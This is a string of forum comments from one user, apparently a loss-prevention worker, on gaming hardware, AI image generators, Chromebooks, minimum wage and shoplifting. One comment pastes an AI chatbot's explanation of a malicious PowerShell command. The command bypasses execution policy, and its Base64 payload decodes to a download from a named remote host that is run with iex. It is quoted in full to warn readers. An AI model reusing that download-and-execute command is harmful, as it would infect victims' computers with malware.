The sad thing is most the ones who would criticize it, are not the target audience. I have my gaming computer set up to be able to play to our living room when we want to. So the gabecube for me is not as good as a purchase (debating the controler though)

For someone who wants to play in their living room or about due a new gaming pc, it’s going to be the best thing for them.

My understanding is part of it is that payment processor says stop doing it or we drop you all together. Not a we won’t be involved but lose them as an avenue.

Their way or highway, no real middle ground posible

One of the moments that Ai can be good. I asked googled gemni

This command is highly malicious and is designed to execute a script downloaded from a remote server. Here’s a breakdown of what each part does:

• conhost cmd /c: This part starts a new command prompt window (cmd) and then immediately executes the following command (/c) within it. conhost is a legitimate Windows process, but here it’s being used as a wrapper.
• powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: This is the core malicious part.
  • powershell: Invokes the PowerShell interpreter.
  • /ep bypass: This is crucial. /ep stands for “execution policy.” bypass tells PowerShell to bypass its execution policy, meaning it will run any script regardless of the local security settings that might otherwise prevent untrusted scripts from running. This is a common tactic for malware.
  • /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQBhAC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA==: The /e switch indicates that the following string is an encoded command. The string JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcwA6AC8ALwBtAGEAcwB0AHIAYQB3AC4AdABvAHAA LwBtAGUvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGkAdABlAA== is a Base64 encoded string. Let’s decode the Base64 string to see the actual PowerShell command: Decoded PowerShell command: $site = Invoke-RestMethod ‘https: //mastraw.top/me/day’; iex $site Now we can fully understand the malicious intent:
• $site = Invoke-RestMethod ‘# https: //mastraw.top/me/day’: This command uses Invoke-RestMethod to download content from the URL ‘https://mastraw/. top/me/day’ . This URL is likely hosting a malicious PowerShell script or some other form of executable code.
• ; iex $site: The semicolon acts as a command separator. iex is an alias for Invoke-Expression. This command takes the content downloaded from ‘https://mastraw.top/. /me/day’ (which is stored in the $site variable) and executes it directly as a PowerShell command. In summary, this command is designed to:
• Bypass PowerShell’s security restrictions.
• Download a script from a specific remote website ‘(https. ://mastraw.top/me/day)’ .
• Immediately execute that downloaded script on the victim’s computer. The content of the script downloaded from’ https :// mastraw.top/me/day’ is unknown without accessing that URL, but given the nature of this command, it’s almost certainly malicious. It could be anything from a ransomware dropper, a keylogger, a remote access trojan (RAT), or a cryptocurrency miner. If you encountered this on a computer, it is highly compromised and should be immediately isolated from the network and professionally cleaned or reimaged.

Edit:added back tick to urls

It is a mine field. The fact that it can generate almost an exact copy of some things if it’s over trained on an image or if the stars hit just right

On a different not llm is Large Language Model not the image generator

What a fabulous upstanding person. Should have him adopt more kids, surly that would be the best thing

(I hope the /s is not needed but it’s here)

Why I throw my phone browser into desktop mode. Can be annoying but it works most the time

Probably different models for different sets. The set I work with are purely wifi. They have a light on them to blink is the only extra thing they do

IR on them does sound stupid though, in a store environment that can be blocked rather easily

No they are wifi controlled

A bit of the selling point for the chromebooks is that it can run a lot of stuff from the playstore. Why called it a cousin.

While posible, don’t forget about the pixel series, Google dipped into hardware. So at least for a good bit they are going to stay the course. Chromebooks are a cousin of android and is something I bet they have support contracts via education for years to come.

Though it’s Google so it’s posible

They were working on it for patches and such. Plus they are probably starting the “next big thing” and having your dev team leave kinda hurts that xp

It kinda understands context.

An image generator makes an image of static similar to like a TV does with bad signal. The Ai looks atthe static and sees shapes in it. The prompt influences what it’s trying to “see”. It starts filling in the static to a full image, it does this in steps, more steps generally means a better quality image.

Also to say a LLM is a Large Language Model and is different from an image generator, though the proccess for them is very similar.

To answer for anyone wants to know.

• No, not a spin off or creation of openai the creator of chatgpt
• site was created in April of 2023

The insurance generally doesn’t kick in unless its 100k plus. It is “planned” for that a certain amount of theft and such will happen,

As for getting sued, meh, merchant rights protect doing reasonable things. Issue comes up when someone “thinks” someone stole and does shit without thinking. Generally All the stores don’t want to have any type of liability with anyone getting hurt so no touching and/or heavy interacting is in policy

Moving to block somebody’s path That I would agree with on being an escalation.

I have seen a lot of times by just there being a few people around giving the we know and we can see you can make someone ditch all the stuff and (some times) cuss out everyone as they leave.

I will admit that I would not advise the technique when it looks like someone is going to be very bold and just walk out with items “clearly” stealing (the cable on it still) and the OP story kinda shows why

Then again anytime I am around a shoplifter doing something like that being very aware of how they are moving or doing is important. Ill do my job but fuck getting hurt for the stuff, nothing in any store is worth it.

Ish on the deter by being there. I can’t speak for all companies but the major one I work for would have you act as just a visible deterance by just standing there. The grabbing the cable and stuff would be what would be “to far”

It probably links to it being illigal at the federal level still so ada would have to be sly about it.

Got to think about those poor business if they have to pay a nickel more for labor they would be broke

Joking aside, minuim wage is a hot issue. One side fully believes that minuim wage is in fact a bad thing and shouldn’t exist. So for them putting a bill out that auto raises it would be counter productive to their interests business being able to hire with supply demand

More then Likely the overall average is hitting that. not really going to argue that. I have been at and looked at metrics for individual stores that have been 4.2,4.5, and one that was a 6% (their was a bit of restructuring that happened after that). I will state that those percentages were lost item numbers that could be accounted with other things other then theft.

The store thats in a “nicer” area and the one that has is in a really bad 1 can even out so the number is low. but the bad store can have really high numbers, numbers that can be worse as it goes through. Also keep in mind that the overall theft % has stayed “constant” by the link you gave, and thats with the annoying glass cases and other such being used to try to lower shrink. better measures are needed as time passes. A case an area cost 6k to order for the area I was in, and the store chose to put it there. or the ones that are paying for off duty officers to help. If they didnt work the stores wouldnt use them (and yes that does happen, a security set for a store got canceled because the numbers didnt change after 5 months)

I would rate it as a concern. Probably not “HUGE” concern but it is impacting thing.

I work loss prevention, so I have a slight bias. But I also see how often and to the volume that it is. There are individuals I have helped with that are linked to 6 digit worth of stuff (and then of course money theft but that’s a different ball game).

Yes if a company has 30,000,000 in sales, theft seems less a problem until it gets multipld out hundreds of times a 1,500,000 of saleable items being stolen can and is something that happens with the current security stuff. And while that is 1/20 the of the sales that 30 mill is before paying for the product, utilities and salary.

Profit is still there but it is getting harder to hold that profit and new ways to loose/new scams pop up all the time